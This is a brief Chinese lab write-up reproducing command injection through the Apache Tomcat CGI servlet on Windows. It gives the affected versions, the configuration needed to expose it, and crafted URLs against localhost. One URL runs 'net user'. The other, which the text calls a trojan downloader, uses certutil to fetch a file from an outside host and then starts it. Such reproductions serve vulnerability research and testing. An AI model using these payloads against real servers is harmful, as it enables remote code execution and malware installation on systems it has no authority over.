测试环境为Win10 Home 1809，jre版本为18.3 (build 10.0.2+13)，Tomcat版本为9.0.13。
★Apache Tomcat 9.0.0.M1 to 9.0.17
★Apache Tomcat 8.5.0 to 8.5.39
★Apache Tomcat 7.0.0 to 7.0.93

配置Servlet Mappings：
<servlet-mapping>
<servlet-name>cgi</servlet-name>
<url-pattern>/cgi-bin/*</url-pattern>
</servlet-mapping>
添加 privileged="true"属性
<Context privileged="true">
<WatchedResource>WEB-INF/web.xml</WatchedResource>
<WatchedResource>WEB-INF/tomcat-web.xml</WatchedResource>
<WatchedResource>${catalina.base}/conf/web.xml</WatchedResource>
</Context>
最后在webapps/ROOT/WEB-INF文件夹下建立hello.bat空文件，里面可以什么都不用写。 启动Tomcat，打开浏览器，访问下面链接： http://localhost:8080/cgi-bin/hello.bat?&C%3a%5cWindows%5cSystem32%5Cnet+user
构造一个注入链接，实现一个图片（木马）下载器的功能： http://localhost:8080/cgi-bin/hello.bat?&C%3a%5cWindows%5cSystem32%5ccertutil+-urlcache+-split+-f+http%3a%2f%2fb.hiphotos.baidu.com%2fimage%2fpic%2fitem%2f9825bc315c6034a8ef5250cec5134954082376c9.jpg+1.jpg+%26start+1.jpg
